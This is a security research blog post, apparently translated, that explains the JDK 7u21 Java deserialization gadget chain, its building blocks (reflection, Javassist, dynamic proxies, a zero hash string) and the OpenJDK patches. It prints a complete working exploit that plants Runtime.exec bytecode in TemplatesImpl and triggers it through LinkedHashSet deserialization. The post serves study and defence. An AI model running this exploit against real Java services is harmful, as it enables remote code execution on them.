0x01 Preface
The construction of the native JDK 7u21 gadget chain is a classic. After studying its structure and ideas, I wrote this article as a set of notes.
0x02 Prerequisites
The JDK 7u21 chain uses many fundamental Java concepts, principally:
- Java Reflection
- Dynamic Class Modification with Javassist
- Java Static Class Loading
- Java Dynamic Proxies
- Hash collision
To make the article easier to follow, I will briefly introduce these concepts. Readers already familiar with them can skip directly to the later analysis.
0x03 Fundamentals
1. Java Reflection
Reflection is a Java feature absent from C/C++. It lets a running Java program inspect itself and operate on internal class or object properties. What exactly is reflection?
Oracle describes it as follows:
“Reflection enables Java code to discover information about the fields, methods and constructors of loaded classes, and to use reflected fields, methods, and constructors to operate on their underlying counterparts, within security restrictions.”
Simply put, reflection exposes the members and metadata of every runtime type. In Java, it can determine an object's class, discover any class's fields and methods, and invoke any object's methods or access its fields. This dynamic inspection and invocation is Java reflection.
Java reflection lets us ignore access modifiers on methods and fields, invoke arbitrary methods, and read or modify member variables. This can create security problems: if an attacker can make the application construct an unexpected control-flow path, security checks may be bypassed. Consider the following code:
String name = request.getParameter("name");
Command command = null;
if (name.equals("Delect")) {
command = new DelectCommand();
} else if (ctl.equals("Add")) {
command = new AddCommand();
} else {
...
}
command.doAction(request);
contains a name field. It checks the requested name: Delect invokes DelectCommand, Add invokes AddCommand, and other values execute other code.
Suppose a developer sees the code and refactors it with reflection to reduce lines:
String name = request.getParameter("name");
Class ComandClass = Class.forName(name + "Command");
Command command = (Command) CommandClass.newInstance();
command.doAction(request);
This refactoring appears to reduce the line count, remove the if/else block, and permit new command types without modifying the dispatcher. But if the supplied name field is unrestricted, any object implementing the Command interface can be instantiated, creating a security issue. In practice an attacker is not even limited to Command objects: another object's default constructor could be invoked, or Runtime could be used to execute a system command, potentially leading to remote command execution.
For more about reflection, see my earlier article: /codeaudit/705.html
2. Dynamic Class Modification with Javassist
Javassist is a library for manipulating Java bytecode. Its main advantage is simplicity and convenience: users do not need to understand virtual-machine instructions and can work directly in Java syntax to modify class structures or generate classes dynamically.
The most important Javassist classes are ClassPool, CtClass, CtMethod, and CtField.
-
ClassPool: a HashMap-based container of CtClass objects, where each key is a class name and each value is the CtClass object representing that class. The default ClassPool uses the same classpath as the underlying JVM, so some situations require adding a classpath or class bytes to it.
-
CtClass: represents a class. CtClass objects can be obtained from a ClassPool.
-
CtMethod: represents a method in a class.
-
CtField: represents a field in a class.
The Javassist documentation gives the following example code:

First obtain a ClassPool instance. ClassPool is used primarily to modify bytecode; it stores CtClass objects, creates them as needed, and supplies them to later processing. When modifying a class, call .get() on the ClassPool instance to obtain its CtClass object. In the preceding code, get is used on pool to obtaintest.Rectangleobject, then assign the resulting CtClass object to the cc variable.
Note that CtClass objects obtained from a ClassPool can be modified. In the preceding code, the original parent class is changed fromtest.Rectanglewas changed totest.Point. This change can be made by callingCtClass().writeFile()persist it to a file.
The following code provides a concrete example:
import javassist.*;
public class TestJavassist {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cls = pool.makeClass("Test");
CtField param = new CtField(pool.get("java.lang.String"), "test", cls);
param.setModifiers(Modifier.PRIVATE);
cls.addField(param, CtField.Initializer.constant("whoami"));
CtConstructor cons = new CtConstructor(new CtClass[]{}, cls);
cons.setBody("{test = \"whoami\";}");
cls.addConstructor(cons);
cls.writeFile("./");
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
After it runs, a file namedTest.classfile, as shown below:

Decompiling the class file produces the following content:
public class Test{
private String test = "test";
public Test(){
this.test = "whoami";
}
}
That covers the fundamentals of dynamic class modification.
For more detail, see this article:https://www.cnblogs.com/scy251147/p/11100961.html
3. Java Static Class Loading
Java static class loading is part of class loading. Class loading means the process ofJVMThe virtual machine takes.classclass information from the file into memory, parses it, and creates the correspondingclassobjects. For a simple example, suppose the JVM encounters class A while executing code, but no information about class A exists in memory. The JVM locates the corresponding class file, loads the class information into memory, and thereby completes the class-loading process.
The JVM does not load every class into memory at startup. It loads a class only when it is first needed for execution, and loads it only once.
Class loading has three main phases: loading, linking, and initialization. Linking can be further divided into verification, preparation, and resolution.
inLoadingphase, the JVM uses a class loader to load class-file bytecode into memory, transforms the static data into runtime structures in the method area, and creates a java.lang.Class object representing the class; duringLinkphase primarily merges Java class bytecode into the JVM's runtime state. DuringInitializationphase mainly initializes class variables by executing the class constructor. In other words, it initializes only static variables and statements. If a class's parent has not yet been initialized, the parent is initialized first. Multiple static variables and static blocks execute from top to bottom. Java static class loading occurs in this phase and therefore precedes other class loading.
When does class initialization occur?
primarilyActive references to a class, which always cause class initialization. Active references to a class principally include the following cases:
-
When the virtual machine starts, it first initializes the class containing main
-
Instantiate an object of a class with new
-
Accessing a class's static members, except final constants, or static methods
-
Use
java.lang.refectpackage's methods to invoke a class reflectively -
When initializing a class, initialize its parent first if the parent has not yet been initialized
For more on class loading, see [Class.forName() and ClassLoader.loadClass() —which one is used for dynamic loading?]:https://stackoverflow.com/questions/8100376/class-forname-vs-classloader-loadclass-which-to-use-for-dynamic-loading/8100407#8100407
an interesting discussion
4. Java Dynamic Proxies
A proxy is a Java design pattern that provides another way to access a target object: the target is accessed through a proxy object. The proxy can add operations on top of the target's implementation and thereby extend its functionality.
Suppose we want to buy a product from another country but do not want to travel there. We can obtain it through a purchasing agent. The essential elements of the proxy pattern are the proxy object and target object: the proxy extends the target and calls it.
Before discussing dynamic proxies, it helps to understand static proxies.
A static proxy, as its name suggests, cannot proxy a different object once its proxy and target have been fixed. In everyday terms, a purchasing agent who specializes in lipstick may be unable to purchase a laptop, requiring a different agent. Likewise, implementing another Java static proxy requires writing another proxy object. The following diagram illustrates the idea:

In a static proxy, the proxy class and target class implement the same interface, while the proxy also holds a reference to the target. A target method can therefore be invoked through its corresponding proxy method. The following diagram illustrates a static proxy.

Static proxies have an obvious advantage: developers can add functionality without changing existing code. Their disadvantages are equally clear. Because every proxy must implement the same interface as its target, static proxies create many redundant proxy classes. Heavy use also makes projects harder to maintain: adding a method to an interface requires changing both target and proxy objects. Dynamic proxies address these problems by handling proxy-class methods uniformly without modifying every proxy class. For security practitioners, the important point is that "dynamic" behavior in Java generally means reflection, so a dynamic proxy is a proxy pattern built on reflection.

As the diagram shows, dynamic proxies differ from static proxies because they can serve multiple, changing requirements. A dynamic proxy implements interfaces: the Proxy class creates the proxy object and delegates interface method calls to an InvocationHandler.
Dynamic proxies have two key components: the Proxy class and InvocationHandler interface described above. Together they form the core of a dynamic-proxy implementation.
##### The Proxy Class
In the JDK, Java providesjava.lang.reflect.InvocationHandlerinterface and java.lang.reflect.Proxyclass. These two classes work together, with Proxy as the entry point. Proxy creates proxy objects and provides many methods, including:
static InvocationHandler getInvocationHandler(Object proxy)
This method obtains the invocation handler associated with the specified proxy object.
static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces)
This method returns a proxy class for the specified interfaces.
static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
This method returns an instance of a proxy class for specified interfaces, with method calls dispatched to a specified invocation handler.
static boolean isProxyClass(Class<?> cl)
If and only if the specified class is created through getProxyClass method or newProxyInstance method returns true when the class was dynamically generated as a proxy class. This method must be reliable when used to make security decisions, so its implementation must do more than merely test whether the relevant class can extend Proxy.
Of the preceding methods, the one most commonly used isnewProxyInstancemethod creates a proxy-class object. It takes three parameters—loader, interfaces, and h—whose meanings are:
loader: a class-loader object specifying which class loader loads the generated proxy class.
interfaces: the list of interfaces the proxy class will implement. It specifies the interface set exposed by the proxy object. Supplying an array of interface objects declares that the proxy class implements those interfaces, allowing it to call every method declared by them.
h: the invocation handler to which method calls are dispatched. It is an InvocationHandler object associated with the dynamic proxy; whenever a method is called on the proxy, this handler is ultimately invoked.
##### The InvocationHandler Interface
java.lang.reflect InvocationHandler, whose main method isObject invoke(Object proxy, Method method, Object[] args) . This method defines the action to perform when a method is invoked on the proxy object, centralizing method-call handling for dynamic proxy objects. invoke takes three parameters, whose meanings are:
proxy: the proxy instance on which the method is invoked
method: the Method instance corresponding to the interface method invoked on the proxy instance. The Method object's declaring class is the interface in which the method was declared, which may be a superinterface of a proxy interface from which the proxy class inherits the method.
args: an array of objects containing the argument values passed to the method call on the proxy instance, or null if the interface method takes no arguments. Primitive arguments are wrapped in their corresponding wrapper classes, such as java.lang.Integer or java.lang.Boolean) instance.
The following code is a simple dynamic-proxy example:
package main.java.com.ms08067.dtProxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class dtProxyDemo {
}
interface Speaker{
public void speak();
}
class xiaoMing implements Speaker {
@Override
public void speak() {
System.out.println("I have a dispute!");
}
}
class xiaoHua implements Speaker {
@Override
public void speak() {
System.out.println("I have a dispute!");
}
}
class LawyerProxy implements InvocationHandler {
Object obj;
public LawyerProxy(Object obj){
this.obj = obj;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().equals("speak")){
System.out.println("How can I help you?");
method.invoke(obj,args);
System.out.println("Under law XXXX, the answer is XXXX");
}
return null;
}
}
class gov{
public static void main(String[] args) {
xiaoMing xiaoMing = new xiaoMing();
xiaoHua xiaoHua = new xiaoHua();
LawyerProxy xiaoMing_lawyerProxy = new LawyerProxy(xiaoMing);
LawyerProxy xiaoHua_lawyerProxy = new LawyerProxy(xiaoHua);
Speaker xiaoMingSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoMing_lawyerProxy);
xiaoMingSpeaker.speak();
System.out.println("*********************");
Speaker xiaoHuaSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),new Class[]{Speaker.class},xiaoHua_lawyerProxy);
xiaoHuaSpeaker.speak();
}
}
The preceding code uses a dynamic proxy. When a is specified for a class or interfaceInvocationHandlerobject, for example:LawyerProxy), calling a method on that class or interface invokes the specifiedhandlerofinvoke()method on line 37.
The result is shown below:

5. Hash Collisions
The so-called hashA collision means that two different strings produce the sameHashvalues are identical.
For example, inIn an overseas community,Someone online provided the following code for calculating a hash value of zero:
public class hashtest {
public static void main(String[] args){
long i = 0;
loop: while(true){
String s = Long.toHexString(i);
if(s.hashCode() == 0){
System.out.println("Found: '"+s+"'");
// break loop;
}
if(i % 1000000==0){
// System.out.println("checked: "+i);
}
i++;
}
}
}
Running it produces a string whose hash is zero, as shown below:

Found: 'f5a5a608'
Found: '38aeaf9a6'
Found: '4b463c929'
Found: '6d49bc466'
Found: '771ffcd3a'
Found: '792e22588'
Found: '84f7f1613'
Found: '857ed38ce'
Found: '9da576938'
Found: 'a84356f1b'
0x04 jdk7u21 payload
The complete gadget chain:
Sink (the goal): Runtime.exec()
||
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
||
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
||
Proxy(Templates).equals()
||
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
||
LinkedHashSet.add()
||
Source (what gets read): LinkedHashSet.readObject()
package src.main.java;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Arrays;
import java.util.HashMap;
import java.util.LinkedHashSet;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
class Reflections {
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field != null)
field.setAccessible(true);
else if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
}
class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
class Gadgets {
static {
// Special case: using the TemplatesImpl gadget when a SecurityManager is enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
// private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
// private static final long serialVersionUID = 8207363842866235160L;
}
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
final Class<?>[] allIfaces
= (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(
Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
}
public static TemplatesImpl createTemplatesImpl() throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class
// Get the ClassPool container and inject the classpath
ClassPool pool = ClassPool.getDefault();
// System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
// Get the already-compiled class
// System.out.println("ClassName: " + StubTransletPayload.class.getName());
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// Insert the payload into the static initializer
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+"open -a Calculator"
+ "\");");
// Give the payload class a name
// A unique name so it can run repeatedly (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// Get the bytecode of the class
final byte[] classBytes = clazz.toBytecode();
//System.out.println(Arrays.toString(classBytes));
// Inject the class bytes into the instance
Reflections.setFieldValue(
templates,
"_bytecodes",
new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// Triggering this method executes the bytecode we injected
// templates.getOutputProperties();
return templates;
}
}
public class exp {
public Object buildPayload() throws Exception {
// Build the evil template; triggering templates.getOutputProperties() runs the command
Object templates = Gadgets.createTemplatesImpl();
// magic string, zeroHashCodeStr.hashCode() == 0
String zeroHashCodeStr = "f5a5a608";
// build a hash map, and put our evil templates in it.
HashMap map = new HashMap();
//map.put(zeroHashCodeStr, "foo"); // Not necessary
// Generate proxy's handler,use `AnnotationInvocationHandler` as proxy's handler
// When proxy is done,all call proxy.anyMethod() will be dispatch to AnnotationInvocationHandler's invoke method.
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
// Reflections.setFieldValue(tempHandler, "type", Templates.class); // not necessary, because newInstance() already pass Templates.class to tempHandler
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
// Reflections.setFieldValue(templates, "_auxClasses", null);
// Reflections.setFieldValue(templates, "_class", null);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates); // save evil templates
set.add(proxy); // proxy
map.put(zeroHashCodeStr, templates);
return set;
}
public static void main(String[] args) throws Exception {
exp exploit = new exp();
Object payload = exploit.buildPayload();
// test payload
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));
oos.writeObject(payload);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin"));
ois.readObject();
}
}
Analyze the code together with the payload. Understanding why the payload is written this way makes the vulnerability easier to grasp.
0x05 Vulnerability Analysis
Anyone who has analyzed the Commons Collections chain, or read an analysis of it, will know that two classes can serve as command-execution carriers:
-
org.apache.commons.collections.functors.ChainedTransformer -
org.apache.xalan.xsltc.trax.TemplatesImpl
We know that achieving RCE requires calling a class capable of executing commands.Runtime.getRuntime().exec(), and in the Commons Collections chain,org.apache.commons.collections.functors.ChainedTransformerclass contains a suitable for converting between objectsTransformerinterface has several useful implementations: ConstantTransformer, InvokerTransformer, and ChainedTransformer. Combining these objects can construct a command-execution chain.
But what if no interface suitable for converting between objects can be found, or all such interfaces are blacklisted?
When neither the dependencies nor the target program contain a method capable of command execution, we can choose to useTemplatesImplas the command-execution carrier, then find a way to trigger itsnewTransformerorgetOutputPropertiesmethod
which is the second class mentioned aboveorg.apache.xalan.xsltc.trax.TemplatesImpl. This is the class we use as the command-execution carrier in the native JDK 7u21 gadget chain.
What conditions must an evil class satisfy? Other researchers have summarized them as follows:
- TemplatesImpl class's
_namevariable != null - TemplatesImpl class's
_classvariable == null - TemplatesImpl class's
_bytecodesvariable != null - TemplatesImpl class's
_bytecodesis the bytecode of the class whose code we execute. - Place the malicious code to be executed in
_bytecodesvariable's corresponding class's static method or constructor. - TemplatesImpl class's
_bytecodesis the bytecode of the class whose code we execute._bytecodesclass in must becom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTransletsubclass of - TemplatesImpl class's
_tfactorymust have agetExternalExtensionsMap()method, usually usingjdkbuilt-inTransformerFactoryImpl()class
TemplatesImplhas four methods:
TemplatesImpl.getOutputProperties()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()
For the latter two, however, they areprivatemethod can only be invoked indirectly by a method callable on the object, whereas the first two arepublicmethod can be called directly on the object.
The first stage is now clear: useTemplatesImplInject the malicious class we constructed, then find a way to trigger itsnewTransformerorgetOutputPropertiesmethod.
How can it be triggered?frohoffgives us the answer—AnnotationInvocationHandler.invoke
Why can this method be triggered? Continue reading the source.
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
...
}
We can see that when the invoked method is equalsand the relevant conditions are met, it continues by invoking the internal methodequalsImpl(), then follow intoequalsImpl()
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
inequalsImpl()method first checks whether the supplied Object is an instance of type, then obtains and invokes all methods of the type class in sequence.
The analysis now makes the requirement clear: when instantiatingAnnotationInvocationHandlerpassing whenTemplates.class, then setequals()parameter is an implementation class of type, it can implementgetOutputPropertiesmethod to be triggered.
This raises another question.
How do we find the remainder of the chain?
At the beginning of this class, there is a passage that says:
InvocationHandler for dynamic proxy implementation of Annotation.
InvocationHandler provides the dynamic proxy implementation behind Annotation.
From the preceding discussion of dynamic proxies, we know thatWhen a is specified for a class or interfaceInvocationHandlerobject, calling a method on that class or interface invokes the specifiedhandlerofinvoke()method. Therefore, when we useAnnotationInvocationHandlerCreateproxy object, every method call becomes a call toinvokemethod call.
In other words, we need to use AnnotationInvocationHandler Create Proxy Object and make it proxy Templates interface, then callproxy objectof equals method, changingTemplatesas the argument completes the first part of the chain.
Our goal has now become finding a way to callProxy.equals(EvilTemplates.class)。
Let us summarize the conditions required to find a suitable scenario:
- It must be possible to call equals on the proxy, as established above
- It needs a deserialization entry point capable of calling
readObject()method, so our serialized data can be passed in to begin deserialization
Before continuing, let us first examineysoserialcontains the following deserialization carriers:
-
AnnotationInvocationHandler(CC1、CC3、 Groovy1) -
PriorityQueue(CC2、CC4) -
BadAttributeValueExpException(CC5、 MozillaRhino1 ) -
HashSet(CC6) -
HashMap( Hibernate1 、 Hibernate2、 JSON1 、 Myfaces1 、 Myfaces2 、 ROME ) -
org.jboss.interceptor.proxy.InterceptorMethodHandler( JBossInterceptors1 、 JavassistWeld1 ) -
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider( Spring1 、 Spring2 )
Most of these deserialization carriers manipulate their elements and thereby trigger the next call in a chain.
My guess is thatjdk7u21author offrohoffmay also have followed this line of reasoning to findLinkedHashSetclass.
LinkedHashSet is located in java.util package and is aHashSetsubclass. Elements added to the set remain ordered, and inLinkedHashSet.readObject()method, when each element is placed inHashMap, the second element callsequals()with the first element—this happens to satisfy the two conditions identified above.
So during deserialization, we only need to makePproxy Object first, then add the instance containing malicious code; it becomesProxy.equals(EvilTemplates.class), which is proxied toAnnotationInvocationHandlerclass and enterequalsImpl()method. IngetMemberMethods()Iterate overTemplatesImplmethod encountersgetOutputPropertiesis invoked, causing command execution and completing the full attack chain.
The main vulnerability analysis is complete at this point, but inLinkedHashSetchain contains another interesting detail.
LinkedHashSet --> HashSet --> HashSet.readObject() --> HashMap.put()
// Associate the given value with the given key in this map
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key.hashCode());
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
// the key point
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
inputmethod contains a condition:if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
To reachkey.equals(k)must satisfye.hash == hashandk!=e.key。
Fork == e.keyThis is easy to determine, because EvilTemplates newInstance != Proxy Object, thene.hash == hashHow should we determine this?
Reading the source makes it clear that, for127 * ((String)var3.getKey()).hashCode()result equals 0—that is,(String)var3.getKey()).hashCode()value must be zero to satisfy thatifcheck.
This is a hash-collision technique.
The collision gives us the first result:f5a5a608, namely the payload'smap.put('f5a5a608', templates);the reason it is written this way.
The entire process can be summarized with the following mind map:

0x06 Fix
On the internet, discussions ofjdk7u21Two different fixes for the native gadget chain are discussed online.
First method:

Second method:

My testing found that both statements are in fact correct.
First examine the last vulnerable version (611bcd930ed1):http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
Examine its child version (0ca6cbe3f350):http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
Compare them:

// before the change
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
// after the change
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
In the first fix, the official patch used the second approach discussed online: the earlier return was replaced with an exception.
Continue examining0ca6cbe3f350ofchildrenversion (654a386b6c32):http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/654a386b6c32/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
We can see that in AnnotationInvocationHandlerAt the very beginning of the constructor,this.typeis validated.
// before the change:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
// after the change:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

In addition to validation in the constructor, member-method lookup is also validated:

The validation is as follows:
private void validateAnnotationMethods(Method[] memberMethods) {
boolean valid = true;
for(Method method : memberMethods) {
if (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) ||
method.getParameterTypes().length != 0 ||
method.getExceptionTypes().length != 0) {
valid = false;
break;
}
Class<?> returnType = method.getReturnType();
if (returnType.isArray()) {
returnType = returnType.getComponentType();
if (returnType.isArray()) { // Only single dimensional arrays
valid = false;
break;
}
}
if (!((returnType.isPrimitive() && returnType != void.class) ||
returnType == java.lang.String.class ||
returnType == java.lang.Class.class ||
returnType.isEnum() ||
returnType.isAnnotation())) {
valid = false;
break;
}
String methodName = method.getName();
if ((methodName.equals("toString") && returnType == java.lang.String.class) ||
(methodName.equals("hashCode") && returnType == int.class) ||
(methodName.equals("annotationType") && returnType == java.lang.Class.class)) {
valid = false;
break;
}
}
if (valid)
return;
else
throw new AnnotationFormatError("Malformed method on an annotation type");
}
validateAnnotationMethodsThe validation method restricts methods declared in annotation types: static and declared methods are disallowed, annotation methods must take no parameters, and return types are restricted.
My conclusion is that both fixes discussed online are valid. Different JDK versions simply use somewhat different fixes, which also causespayloadis intercepted at different points, producing different errors.
In the state shown below, injdk1.8.151error that occurs in.

In the state shown below, injdk7u25error that occurs in.

0x07 Summary
The complete JDK 7u21 deserialization gadget chain is a classic construction that combines many fundamentals and small techniques. In my view it is essential material for understanding and learning deserialization vulnerabilities. These are my study notes; corrections are welcome.
0x08 References
JDK Deserialization Gadgets: 7u21
Analysis of Ysoserial's JDK 7u21 Chain
https://gist.github.com/frohoff/24af7913611f8406eaf3#deserialization-call-tree-approximate
https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/
https://mp.weixin.qq.com/s/Ekjbxv5glIXvpsw2Gh98vQ
https://xz.aliyun.com/t/6884#toc-12
This article was first published on Xianzhi